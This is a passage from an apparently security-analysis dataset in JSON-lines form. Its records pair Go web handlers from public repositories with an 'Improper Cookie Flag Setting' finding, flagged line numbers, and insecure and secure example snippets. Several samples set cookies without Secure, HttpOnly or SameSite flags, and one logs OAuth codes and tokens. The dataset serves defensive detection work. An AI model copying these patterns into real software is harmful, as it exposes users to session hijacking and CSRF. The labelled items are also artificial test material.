Use of this source code is governed by an Apache License\n// license that can be found in the LICENSE file.\n\npackage main\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"net/http\"\n\n\tmoovhttp \"github.com/moov-io/base/http\"\n\n\t\"github.com/go-kit/kit/log\"\n\t\"github.com/gorilla/mux\"\n)\n\ntype loginRequest struct {\n\tEmail string `json:\"email\"`\n\tPassword string `json:\"password\"`\n}\n\nfunc addLoginRoutes(router *mux.Router, logger log.Logger, auth authable, userService userRepository) {\n\trouter.Methods(\"GET\").Path(\"/users/login\").HandlerFunc(checkLogin(logger, auth, userService))\n\trouter.Methods(\"POST\").Path(\"/users/login\").HandlerFunc(loginRoute(logger, auth, userService))\n}\n\nfunc getUserFromCookie(auth authable, repo userRepository, r *http.Request) (*User, error) {\n\t// Start checking the incoming request for cookie auth\n\tuserId, err := extractUserId(auth, r)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tuser, err := repo.lookupByUserId(userId)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn user, nil\n}\n\nfunc checkLogin(logger log.Logger, auth authable, repo userRepository) http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tw = wrapResponseWriter(w, r, \"checkLogin\")\n\n\t\tif allowForOptions(w, r) {\n\t\t\treturn // was a CORS pre-flight request\n\t\t}\n\n\t\tuser, err := getUserFromCookie(auth, repo, r)\n\t\tif err != nil {\n\t\t\tw.WriteHeader(http.StatusForbidden)\n\t\t\treturn\n\t\t}\n\n\t\tw.Header().Set(\"Content-Type\", \"application/json; charset=utf-8\")\n\t\tw.Header().Set(\"X-User-Id\", user.ID)\n\t\tw.WriteHeader(http.StatusOK)\n\n\t\tif err := json.NewEncoder(w).Encode(user); err != nil {\n\t\t\tinternalError(w, err)\n\t\t\treturn\n\t\t}\n\t}\n}\n\nfunc loginRoute(logger log.Logger, auth authable, userService userRepository) http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tw = wrapResponseWriter(w, r, \"loginRoute\")\n\n\t\tif r.Body == nil {\n\t\t\tw.WriteHeader(http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\n\t\tbs, err := read(r.Body)\n\t\tif err != nil {\n\t\t\tinternalError(w, err)\n\t\t\treturn\n\t\t}\n\n\t\t// read request body\n\t\tvar login loginRequest\n\t\tif err := json.Unmarshal(bs, &login); err != nil {\n\t\t\tw.WriteHeader(http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\n\t\t// Basic data sanity checks\n\t\tif err := validateEmail(login.Email); err != nil {\n\t\t\tmoovhttp.Problem(w, err)\n\t\t\treturn\n\t\t}\n\t\tif err := validatePassword(login.Password); err != nil {\n\t\t\tmoovhttp.Problem(w, err)\n\t\t\treturn\n\t\t}\n\n\t\t// find user by email\n\t\tu, err := userService.lookupByEmail(login.Email)\n\t\tif err != nil || u == nil {\n\t\t\t// Mark this (and password check) as failure only because\n\t\t\t// the user is involved at this point. Otherwise it's their\n\t\t\t// developer's problem (i.e. bad json).\n\t\t\tauthFailures.With(\"method\", \"web\").Add(1)\n\t\t\tw.WriteHeader(http.StatusForbidden)\n\t\t\tif err != nil {\n\t\t\t\tlogger.Log(\"login\", fmt.Sprintf(\"problem looking up user email %q: %v\", login.Email, err))\n\t\t\t}\n\t\t\treturn\n\t\t}\n\n\t\t// find user by userId and password\n\t\tif err := auth.checkPassword(u.ID, login.Password); err != nil {\n\t\t\tauthFailures.With(\"method\", \"web\").Add(1)\n\t\t\tlogger.Log(\"login\", fmt.Sprintf(\"userId=%s failed: %v\", u.ID, err))\n\t\t\tw.WriteHeader(http.StatusForbidden)\n\t\t\treturn\n\t\t}\n\n\t\t// success route, let's finish!\n\t\tauthSuccesses.With(\"method\", \"web\").Add(1)\n\t\tcookie, err := createCookie(u.ID, auth)\n\t\tif err != nil {\n\t\t\tinternalError(w, err)\n\t\t\treturn\n\t\t}\n\t\tif cookie == nil {\n\t\t\tlogger.Log(\"login\", fmt.Sprintf(\"nil cookie for userId=%s\", u.ID))\n\t\t\tinternalError(w, err)\n\t\t\treturn\n\t\t}\n\t\tif err := auth.writeCookie(u.ID, cookie); err != nil {\n\t\t\tinternalError(w, err)\n\t\t\treturn\n\t\t}\n\n\t\thttp.SetCookie(w, cookie)\n\t\tw.Header().Set(\"Content-Type\", \"application/json; charset=utf-8\")\n\t\tw.Header().Set(\"X-User-Id\", u.ID)\n\t\tw.WriteHeader(http.StatusOK)\n\n\t\tif err := json.NewEncoder(w).Encode(u); err != nil {\n\t\t\tinternalError(w, err)\n\t\t\treturn\n\t\t}\n\t}\n}", "dangerousExampleEn": "1. func Dan_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tPath: \"/\",\n6. \t\tMaxAge: 60 * 60 * 24 * 365,\n7. \t}\n8. \thttp.SetCookie(c.Writer, cookie)\n9. \tc.String(http.StatusOK, \"success\")\n10. }\nLine 8: This is insecure because the application is exposed to multiple vulnerabilities due to the undeclared secure cookie flags.", "safeExampleEn": "1. func Safe_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tHttpOnly: true,\n6. \t\tSecure: true,\n7. \t\tPath: \"/\",\n8. \t\tMaxAge: 60 * 60,\n9. \t\tSameSite: http.SameSiteStrictMode,\n10. \t}\n11. \thttp.SetCookie(c.Writer, cookie)\n12. \tc.String(http.StatusOK, \"success\")\n13. }\nLine 11: This is secure because the Secure, HttpOnly, and SameSite flags are securely configured in the cookie settings.", "contexts": [{"lineNo": 137, "eventType": "sink", "messageKey": "gochk.IMPROPER_COOKIE_FLAG_SETTING.GO.defect", "params": {}}]}} {"id": "bb3c444a0a29376e8eb4a5c25bd3d286f9cb05a829ff489322ee3bc200c67ad7", "license": {"spdx": ["MIT"], "repo": "schairez/spotifyAPI", "path": "spotifyservice/handlers.go", "repo_head_hexsha": "e2d01cf79c9681dc68fc28bc27afc8429723b2a2", "stack_hexsha": "958076e02d7b09105d544981e5f00e681765a12d", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Cookie Flag Setting", "issueDescriptionEn": "Cookie settings should be properly managed in web application development. When the cookies are not properly set, this can lead to security vulnerabilities such as Session hijacking, XSS, and CSRF. To protect your cookies against the attacks, set secure cookie flags i.e. Secure, HttpOnly, SameSite.\n\n1. Secure: The Secure flag ensures that cookies are sent only over the HTTPS protocol. Therefore, it will prevent cookie information from being exposed by man-in-the-middle attacks.\n2. HttpOnly: Enabling the HttpOnly flag prevents cookies from being accessed via JavaScript, enhancing protection against XSS attacks.\n3. SameSite: The SameSite flag bans sending cookies with cross-site requests, thereby protecting the cookies against CSRF attacks.\nIn Go, you can use the `http.SetCookie` function in the `net/http` package to configure secure cookie flags. The `Secure` and `HttpOnly` flags should always be set to `true`, and it is safe to set the `SameSite` flag to `Lax` or stricter.", "issueLineNumber": 62, "entireCode": "package spotifyservice\n\nimport (\n\t\"context\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"html/template\"\n\t\"log\"\n\t\"net/http\"\n\t\"strings\"\n\n\t\"github.com/go-chi/chi\"\n\t\"github.com/schairez/spotifywork/internal\"\n\t\"github.com/schairez/spotifywork/spotifyservice/spotifyapi\"\n)\n\nvar templates = template.Must(template.ParseGlob(\"templates/*\"))\n\nfunc (s *Server) handlePing() http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Header().Set(\"Content-Type\", \"text/plain\")\n\t\tw.WriteHeader(http.StatusOK)\n\t\tw.Write([]byte(\"pong\"))\n\n\t}\n}\n\nfunc (s *Server) handleLoginPage() http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\terr := templates.ExecuteTemplate(w, \"login\", nil)\n\t\tif err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t}\n}\n\n/*\nhttps://mohitkhare.me/blog/sessions-in-golang/\nTODO:\n- CREATE A /profile route, add session middleware\n*/\n\n//setting state cookie and redirecting user to resource server\n// so user-agent can authorize our app\nfunc (s *Server) handleOauthProviderLogin() http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tctx := r.Context()\n\t\tlog.Println(ctx)\n\t\t//check if the request contains a cookie?\n\t\t//COOKIE would be attached if the use has hit our domain\n\t\t//this would indicate that a user-agent has hit this endpoint,\n\t\t//but not that the user has authorized our app per-say\n\t\tlog.Println(\"checking if user already has a cookie stored in their browser\")\n\t\tcookie, err := r.Cookie(stateCookieName)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"we got no cookie in request, %s\", err)\n\t\t}\n\t\tfmt.Println(cookie)\n\t\tlocalState := genRandState()\n\t\t//setting the set-Cookie header in the writer\n\t\t//NOTE: headers need to be set before anything else set to the writer\n\t\thttp.SetCookie(w, internal.NewCookie(stateCookieName, localState))\n\t\tfmt.Println(localState)\n\t\tfmt.Println(w.Header())\n\t\tauthURL := s.client.Config.AuthCodeURL(localState)\n\t\t//app directs user-agent to spotify's oauth2 auth consent page\n\t\thttp.Redirect(w, r, authURL, http.StatusTemporaryRedirect)\n\n\t}\n\n}\n\nfunc (s *Server) handleOauthProviderCallback() http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\t//error param present and non-empty if user denied auth\n\t\tif r.FormValue(\"error\") != \"\" {\n\t\t\tlog.Printf(\"user authorization failed. Reason=%s\", r.FormValue(\"error\"))\n\t\t\thttp.Redirect(w, r, \"/\", http.StatusTemporaryRedirect)\n\t\t\treturn\n\t\t}\n\t\t//check the state parameter we supplied to Spotify's Account's Service earlier\n\t\t//if user approved the auth, we'll have both a code and a state query param\n\t\toauthStateCookie, err := r.Cookie(stateCookieName)\n\t\tif err != nil {\n\t\t\tif err == http.ErrNoCookie {\n\t\t\t\tlog.Println(\"Error finding cookie: \", err.Error())\n\t\t\t\thttp.Redirect(w, r, \"/\", http.StatusUnauthorized)\n\t\t\t}\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t\tlog.Printf(\"%s=%s\\r\\n\", oauthStateCookie.Name, oauthStateCookie.Value)\n\t\tif r.FormValue(\"state\") != oauthStateCookie.Value {\n\t\t\tlog.Println(\"invalid oauth2 spotify state. state_mismatch err\")\n\t\t\t//http.Error(w, \"state_mismatch err\", http.StatusUnauthorized)\n\t\t\thttp.Redirect(w, r, \"/\", http.StatusUnauthorized)\n\n\t\t\treturn\n\t\t}\n\t\t//TODO: pkce opts?\n\t\t//getting the request code token\n\t\t//which if succesful we'll exchange for an access token\n\t\tauthCode := r.FormValue(\"code\")\n\t\tif authCode == \"\" {\n\t\t\tw.Write([]byte(\"No code\"))\n\t\t\tw.WriteHeader(400)\n\t\t\treturn\n\t\t}\n\n\t\tlog.Printf(\"code=%s\", authCode)\n\t\t//TODO: diff b/w background and oauth2.NoContext\n\t\tctx := context.Background()\n\t\t//exchange auth code with an access token\n\t\ttoken, err := s.client.Config.Exchange(ctx, authCode)\n\n\t\tif err != nil {\n\t\t\tlog.Printf(\"error converting auth code into token; %s\", err.Error())\n\t\t\thttp.Error(w, err.Error(), http.StatusForbidden)\n\t\t\treturn\n\t\t}\n\t\t//we'll use the token to access user's protected resources\n\t\t// by calling the Spotify Web API\n\n\t\tlog.Println(token)\n\t\tlog.Println(\"query params?\")\n\t\tqueryParams := r.URL.Query()\n\t\tlog.Println(queryParams)\n\t\tif reqHeadersBytes, err := json.Marshal(r.Header); err != nil {\n\t\t\tlog.Println(\"Could not Marshal Req Headers\")\n\t\t} else {\n\t\t\tlog.Println(string(reqHeadersBytes))\n\t\t}\n\n\t\t//now we can use this token to call Spotify APIs on behalf of the user\n\t\t//use the token to get an authenticated client\n\t\t//the underlying transport obtained using ctx?\n\t\tuser, err := s.client.GetUserProfileRequest(context.Background(), token)\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t\tlog.Println(\"getting user\")\n\t\tlog.Printf(\"%+v\\n\", user)\n\n\t\t// data, _ := ioutil.ReadAll(resp.Body)\n\t\t// log.Println(\"Data calling user API: \", string(data))\n\t\tlimit := 50\n\t\toffset := 0\n\t\tmarket := \"us\"\n\t\tparams := spotifyapi.QParams{Limit: &limit, Offset: &offset, Market: &market}\n\t\ttracks, err := s.client.GetUserSavedTracks(context.Background(), token, ¶ms)\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t\tlog.Println(\"getting user tracks\")\n\t\tb, err := json.MarshalIndent(*tracks, \"\", \" \")\n\t\tif err != nil {\n\t\t\tfmt.Println(err)\n\t\t}\n\t\tfmt.Print(string(b))\n\t\t// log.Printf(\"%+v\\n\", tracks)\n\n\t}\n\n}\n\n/*\nfunc handleOauthSpotifyLogin(spotifyCfg *oauth2.Config) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t// Take the context out from the request\n\t\tctx := r.Context()\n\t\tlocalState := genRandStateOauthCookie(w)\n\t\tfmt.Println(localState)\n\t\tfmt.Println(w.Header())\n\t\tauthURL := spotifyCfg.AuthCodeURL(localState)\n\t\t//app directs user-agent to spotify's oauth2 auth page\n\t\thttp.Redirect(w, r, authURL, http.StatusTemporaryRedirect)\n\n\t\t// Call your original http.Handler\n\t\t// h.ServeHTTP(w, r)\n\n\t})\n\n}\n*/\n// func oauthSpotifyCallback()\n\n//below from\n//https://github.com/go-chi/chi/blob/master/_examples/fileserver/main.go\n\n// FileServer conveniently sets up a http.FileServer handler to serve static\n// files from a http.FileSystem.\nfunc FileServer(r chi.Router, path string, root http.FileSystem) {\n\tif strings.ContainsAny(path, \"{}*\") {\n\t\tpanic(\"FileServer does not permit any URL parameters.\")\n\t}\n\n\tif path != \"/\" && path[len(path)-1] != '/' {\n\t\tr.Get(path, http.RedirectHandler(path+\"/\", 301).ServeHTTP)\n\t\tpath += \"/\"\n\t}\n\tpath += \"*\"\n\n\tr.Get(path, func(w http.ResponseWriter, r *http.Request) {\n\t\trctx := chi.RouteContext(r.Context())\n\t\tpathPrefix := strings.TrimSuffix(rctx.RoutePattern(), \"/*\")\n\t\tfs := http.StripPrefix(pathPrefix, http.FileServer(root))\n\t\tfs.ServeHTTP(w, r)\n\t})\n}", "dangerousExampleEn": "1. func Dan_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tPath: \"/\",\n6. \t\tMaxAge: 60 * 60 * 24 * 365,\n7. \t}\n8. \thttp.SetCookie(c.Writer, cookie)\n9. \tc.String(http.StatusOK, \"success\")\n10. }\nLine 8: This is insecure because the application is exposed to multiple vulnerabilities due to the undeclared secure cookie flags.", "safeExampleEn": "1. func Safe_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tHttpOnly: true,\n6. \t\tSecure: true,\n7. \t\tPath: \"/\",\n8. \t\tMaxAge: 60 * 60,\n9. \t\tSameSite: http.SameSiteStrictMode,\n10. \t}\n11. \thttp.SetCookie(c.Writer, cookie)\n12. \tc.String(http.StatusOK, \"success\")\n13. }\nLine 11: This is secure because the Secure, HttpOnly, and SameSite flags are securely configured in the cookie settings.", "contexts": [{"lineNo": 62, "eventType": "sink", "messageKey": "gochk.IMPROPER_COOKIE_FLAG_SETTING.GO.defect", "params": {}}]}} {"id": "4e33c1eaec7ef6f1979458896ff5fd3d6f53b9c3be25088fe17f2bed860cfe6a", "license": {"spdx": ["MIT"], "repo": "goslang/bifrost", "path": "server/lib/responder/responder.go", "repo_head_hexsha": "e0e2f15e5e23b9a7a9acf554204168447716a21c", "stack_hexsha": "8d7d0662c7e80fe262e2424effe08295393971a9", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Cookie Flag Setting", "issueDescriptionEn": "Cookie settings should be properly managed in web application development. When the cookies are not properly set, this can lead to security vulnerabilities such as Session hijacking, XSS, and CSRF. To protect your cookies against the attacks, set secure cookie flags i.e. Secure, HttpOnly, SameSite.\n\n1. Secure: The Secure flag ensures that cookies are sent only over the HTTPS protocol. Therefore, it will prevent cookie information from being exposed by man-in-the-middle attacks.\n2. HttpOnly: Enabling the HttpOnly flag prevents cookies from being accessed via JavaScript, enhancing protection against XSS attacks.\n3. SameSite: The SameSite flag bans sending cookies with cross-site requests, thereby protecting the cookies against CSRF attacks.\nIn Go, you can use the `http.SetCookie` function in the `net/http` package to configure secure cookie flags. The `Secure` and `HttpOnly` flags should always be set to `true`, and it is safe to set the `SameSite` flag to `Lax` or stricter.", "issueLineNumber": 59, "entireCode": "package responder\n\nimport (\n\t\"encoding/json\"\n\t\"net/http\"\n\t\"time\"\n)\n\ntype Responder func() (http.ResponseWriter, error)\n\nfunc New(w http.ResponseWriter) Responder {\n\treturn func() (http.ResponseWriter, error) { return w, nil }\n}\n\nfunc (r Responder) Headers(headers map[string][]string) Responder {\n\treturn func() (w http.ResponseWriter, err error) {\n\t\tdefer errorHandler(&err)\n\t\tw, err = r()\n\t\tcheckErr(err)\n\t\tfinalHeaders := w.Header()\n\t\tfor key, value := range headers {\n\t\t\tif header, exists := finalHeaders[key]; exists {\n\t\t\t\tfinalHeaders[key] = append(header, value...)\n\t\t\t} else {\n\t\t\t\tfinalHeaders[key] = value\n\t\t\t}\n\t\t}\n\t\treturn\n\t}\n}\n\nfunc (r Responder) Status(status int) Responder {\n\treturn func() (w http.ResponseWriter, err error) {\n\t\tdefer errorHandler(&err)\n\t\tw, err = r()\n\t\tcheckErr(err)\n\t\tw.WriteHeader(status)\n\t\treturn\n\t}\n}\n\nfunc (r Responder) Json(data interface{}) Responder {\n\treturn func() (w http.ResponseWriter, err error) {\n\t\tdefer errorHandler(&err)\n\t\tw, err = r()\n\t\tcheckErr(err)\n\t\tjsonB, err := json.Marshal(data)\n\t\tcheckErr(err)\n\t\tw.Write([]byte(jsonB))\n\t\treturn\n\t}\n}\n\nfunc (r Responder) Cookie(key, value, path string, secure bool) Responder {\n\treturn func() (w http.ResponseWriter, err error) {\n\t\tdefer errorHandler(&err)\n\t\tw, err = r()\n\t\tcheckErr(err)\n\t\thttp.SetCookie(w, &http.Cookie{\n\t\t\tName: key,\n\t\t\tValue: value,\n\t\t\tPath: path,\n\t\t\tSecure: secure,\n\t\t\tHttpOnly: true,\n\t\t\tExpires: time.Now().Add(2 * time.Hour * 24 * 30 * 12),\n\t\t})\n\t\treturn\n\t}\n}\n\nfunc (r Responder) Must() http.ResponseWriter {\n\tw, err := r()\n\tcheckErr(err)\n\treturn w\n}\n\nfunc errorHandler(errP *error) {\n\tif err := recover(); err != nil {\n\t\t*errP = err.(error)\n\t}\n}\n\nfunc checkErr(err error) {\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}", "dangerousExampleEn": "1. func Dan_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tPath: \"/\",\n6. \t\tMaxAge: 60 * 60 * 24 * 365,\n7. \t}\n8. \thttp.SetCookie(c.Writer, cookie)\n9. \tc.String(http.StatusOK, \"success\")\n10. }\nLine 8: This is insecure because the application is exposed to multiple vulnerabilities due to the undeclared secure cookie flags.", "safeExampleEn": "1. func Safe_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tHttpOnly: true,\n6. \t\tSecure: true,\n7. \t\tPath: \"/\",\n8. \t\tMaxAge: 60 * 60,\n9. \t\tSameSite: http.SameSiteStrictMode,\n10. \t}\n11. \thttp.SetCookie(c.Writer, cookie)\n12. \tc.String(http.StatusOK, \"success\")\n13. }\nLine 11: This is secure because the Secure, HttpOnly, and SameSite flags are securely configured in the cookie settings.", "contexts": [{"lineNo": 59, "eventType": "sink", "messageKey": "gochk.IMPROPER_COOKIE_FLAG_SETTING.GO.defect", "params": {}}]}} {"id": "a2ff768dd203c3e57f9de105852d2e300431a5444b0a140ca9abe34a3fe3c533", "license": {"spdx": ["MIT"], "repo": "dingchaolin/go-web", "path": "src/002_base_cookie.go", "repo_head_hexsha": "ecb9be40a82a04d14e8561c59a4fb42f72461917", "stack_hexsha": "f10333ef44c98582aed96b66a9d40e8f48b08247", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Cookie Flag Setting", "issueDescriptionEn": "Cookie settings should be properly managed in web application development. When the cookies are not properly set, this can lead to security vulnerabilities such as Session hijacking, XSS, and CSRF. To protect your cookies against the attacks, set secure cookie flags i.e. Secure, HttpOnly, SameSite.\n\n1. Secure: The Secure flag ensures that cookies are sent only over the HTTPS protocol. Therefore, it will prevent cookie information from being exposed by man-in-the-middle attacks.\n2. HttpOnly: Enabling the HttpOnly flag prevents cookies from being accessed via JavaScript, enhancing protection against XSS attacks.\n3. SameSite: The SameSite flag bans sending cookies with cross-site requests, thereby protecting the cookies against CSRF attacks.\nIn Go, you can use the `http.SetCookie` function in the `net/http` package to configure secure cookie flags. The `Secure` and `HttpOnly` flags should always be set to `true`, and it is safe to set the `SameSite` flag to `Lax` or stricter.", "issueLineNumber": 25, "entireCode": "package main\n\nimport (\n\t\"io\"\n\t\"net/http\"\n)\n\nfunc main(){\n\thttp.HandleFunc( \"/\", Cookie )\n\thttp.HandleFunc( \"/2\", Cookie2 )\n\n\thttp.ListenAndServe(\":8080\", nil)\n\n}\n\nfunc Cookie ( w http.ResponseWriter, r *http.Request ){\n\tck := &http.Cookie{\n\t\tName:\"dcl\",\n\t\tValue:\"hello\",\n\t\tPath:\"/\",\n\t\tDomain:\"localhost\",\n\t\tMaxAge:120,\n\t}\n\n\thttp.SetCookie( w, ck )\n\n\tck2, err := r.Cookie(\"dcl\")\n\tif err != nil {\n\t\tio.WriteString(w, err.Error())\n\t\treturn\n\t}\n\n\tio.WriteString(w, ck2.Value )\n}\n\nfunc Cookie2 ( w http.ResponseWriter, r *http.Request ){\n\tck := &http.Cookie{\n\t\tName:\"dcl\",\n\t\tValue:\"hello World\",\n\t\tPath:\"/\",\n\t\tDomain:\"localhost\",\n\t\tMaxAge:120,\n\t}\n\n\tw.Header().Set(\"Set-Cookie\", ck.String())\n\n\tck2, err := r.Cookie(\"dcl\")\n\tif err != nil {\n\t\tio.WriteString(w, err.Error())\n\t\treturn\n\t}\n\n\tio.WriteString(w, ck2.Value )\n}", "dangerousExampleEn": "1. func Dan_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tPath: \"/\",\n6. \t\tMaxAge: 60 * 60 * 24 * 365,\n7. \t}\n8. \thttp.SetCookie(c.Writer, cookie)\n9. \tc.String(http.StatusOK, \"success\")\n10. }\nLine 8: This is insecure because the application is exposed to multiple vulnerabilities due to the undeclared secure cookie flags.", "safeExampleEn": "1. func Safe_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tHttpOnly: true,\n6. \t\tSecure: true,\n7. \t\tPath: \"/\",\n8. \t\tMaxAge: 60 * 60,\n9. \t\tSameSite: http.SameSiteStrictMode,\n10. \t}\n11. \thttp.SetCookie(c.Writer, cookie)\n12. \tc.String(http.StatusOK, \"success\")\n13. }\nLine 11: This is secure because the Secure, HttpOnly, and SameSite flags are securely configured in the cookie settings.", "contexts": [{"lineNo": 25, "eventType": "sink", "messageKey": "gochk.IMPROPER_COOKIE_FLAG_SETTING.GO.defect", "params": {}}]}} {"id": "d5f82326a92d41aa53e74a904c64bf83b37187be66275dd68d6cb25108c7074b", "license": {"spdx": ["MIT"], "repo": "kilowatt-/ImageRepository", "path": "routes/users/users.go", "repo_head_hexsha": "bf4ee82c321563489486d55f7724b65ed8c7b80d", "stack_hexsha": "e16618b9e326ce9ce3fa934ddd9489965b464ecb", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Cookie Flag Setting", "issueDescriptionEn": "Cookie settings should be properly managed in web application development. When the cookies are not properly set, this can lead to security vulnerabilities such as Session hijacking, XSS, and CSRF. To protect your cookies against the attacks, set secure cookie flags i.e. Secure, HttpOnly, SameSite.\n\n1. Secure: The Secure flag ensures that cookies are sent only over the HTTPS protocol. Therefore, it will prevent cookie information from being exposed by man-in-the-middle attacks.\n2. HttpOnly: Enabling the HttpOnly flag prevents cookies from being accessed via JavaScript, enhancing protection against XSS attacks.\n3. SameSite: The SameSite flag bans sending cookies with cross-site requests, thereby protecting the cookies against CSRF attacks.\nIn Go, you can use the `http.SetCookie` function in the `net/http` package to configure secure cookie flags. The `Secure` and `HttpOnly` flags should always be set to `true`, and it is safe to set the `SameSite` flag to `Lax` or stricter.", "issueLineNumber": 235, "entireCode": "package users\n\nimport (\n\t\"encoding/json\"\n\t\"github.com/gorilla/mux\"\n\t\"github.com/kilowatt-/ImageRepository/database\"\n\t\"github.com/kilowatt-/ImageRepository/model\"\n\t\"github.com/kilowatt-/ImageRepository/routes/common\"\n\t\"github.com/kilowatt-/ImageRepository/routes/middleware\"\n\t\"go.mongodb.org/mongo-driver/bson\"\n\t\"golang.org/x/crypto/bcrypt\"\n\t\"log\"\n\t\"net/http\"\n\t\"os\"\n\t\"regexp\"\n\t\"strings\"\n)\n\nfunc verifyEmail(email string) bool {\n\tmatched, err := regexp.MatchString(\"(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\\\\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|\\\"(?:[\\\\x01-\\\\x08\\\\x0b\\\\x0c\\\\x0e-\\\\x1f\\\\x21\\\\x23-\\\\x5b\\\\x5d-\\\\x7f]|\\\\\\\\[\\\\x01-\\\\x09\\\\x0b\\\\x0c\\\\x0e-\\\\x7f])*\\\")@(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\\\\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|\\\\[(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?|[a-z0-9-]*[a-z0-9]:(?:[\\\\x01-\\\\x08\\\\x0b\\\\x0c\\\\x0e-\\\\x1f\\\\x21-\\\\x5a\\\\x53-\\\\x7f]|\\\\\\\\[\\\\x01-\\\\x09\\\\x0b\\\\x0c\\\\x0e-\\\\x7f])+)\\\\])\", email)\n\treturn err == nil && matched\n}\n\nfunc verifyUserHandle(userHandle string) bool {\n\tmatched, err := regexp.MatchString(\"^[a-zA-Z0-9]+$\", userHandle)\n\treturn err == nil && matched\n}\n\n/**\nVerifies if password meets the following criteria:\n\t- At least 8 characters\n\t- 1 Uppercase\n\t- 1 Lowercase\n\t- 1 Digit\n*/\nfunc verifyPassword(password string) bool {\n\thasDigit, hasUppercase, hasLowerCase := false, false, false\n\tpwdLength := len(password)\n\n\tif pwdLength < 8 {\n\t\treturn false\n\t}\n\n\tfor i := 0; i < pwdLength; i++ {\n\t\tcharacter := password[i]\n\n\t\tif character >= 'a' && character <= 'z' {\n\t\t\thasLowerCase = true\n\t\t} else if character >= 'A' && character <= 'Z' {\n\t\t\thasUppercase = true\n\t\t} else if character >= '0' && character <= '9' {\n\t\t\thasDigit = true\n\t\t}\n\t}\n\n\treturn hasDigit && hasUppercase && hasLowerCase\n}\n\n/**\n[GET]\nGets users that match the query. An empty query will return the first 100 users.\n\nAccepted query parameters:\n\t- id: {comma separated hex strings} A list of user IDs. Will ignore all queries except ascending and orderBy if this is present.\n\t- name: {comma separated hex strings} A list of names. Non-exact, case-insensitive match by default.\n\t- nameExact: {Y/y} A flag that sets whether the database query should match the names exactly. Set this flag to Y/y only if you want to get exact matches\n\t- userHandle: {comma separated strings} A list of user handles. Non-exact, case-insensitive match by default.\n\t- userHandleExact: {Y/y} A flag that sets whether the query should match the userHandles exactly or not. Set this flag to Y/y only if you want to get exact matches\n\t- limit: {int}: Limit on the number of results returned. Default (and max) of 100.\n\t- ascending: {Y/y}: Whether to return the results in ascending order or not.\n\t- orderBy: {userHandle/name}: Whether to order the name by userHandle or name. Default is userHandle. The other value is treated as the tiebreaker.\n\t- lt: {string}: An *exact* string that represents that values less than this string should be returned. Corresponds to the ordering key (userHandle or name)\n\t- gt: {string}: An *exact* string that represents values more than this string should be returned. Corresponds to the ordering key (userHandle or name)\nReturns:\n\t- 200: List of matching users that match the query parameters.\n\t- 400: If at least one of the IDs passed in is invalid.\n\t- 500: Internal server error.\n*/\nfunc getUsers(w http.ResponseWriter, r *http.Request) {\n\tquery, opts, err := buildUserQueryAndOptions(r)\n\n\tif err != nil {\n\t\tif err.Error() == InvalidHex {\n\t\t\thttp.Error(w, \"invalid ID passeed in\", http.StatusBadRequest)\n\t\t} else {\n\t\t\tcommon.SendInternalServerError(w)\n\t\t}\n\t\treturn\n\t}\n\n\tprojection := bson.D{{\"userHandle\", 1}, {\"name\", 1}}\n\n\tchannel := make(chan []FindUserResponse)\n\n\tgo GetUsersFromDatabase(query, projection, channel, opts)\n\n\tres := <-channel\n\n\tif len(res) == 1 && res[0].Err != nil {\n\t\tlog.Println(res[0].Err)\n\t\tcommon.SendInternalServerError(w)\n\t\treturn\n\t}\n\n\tusers := 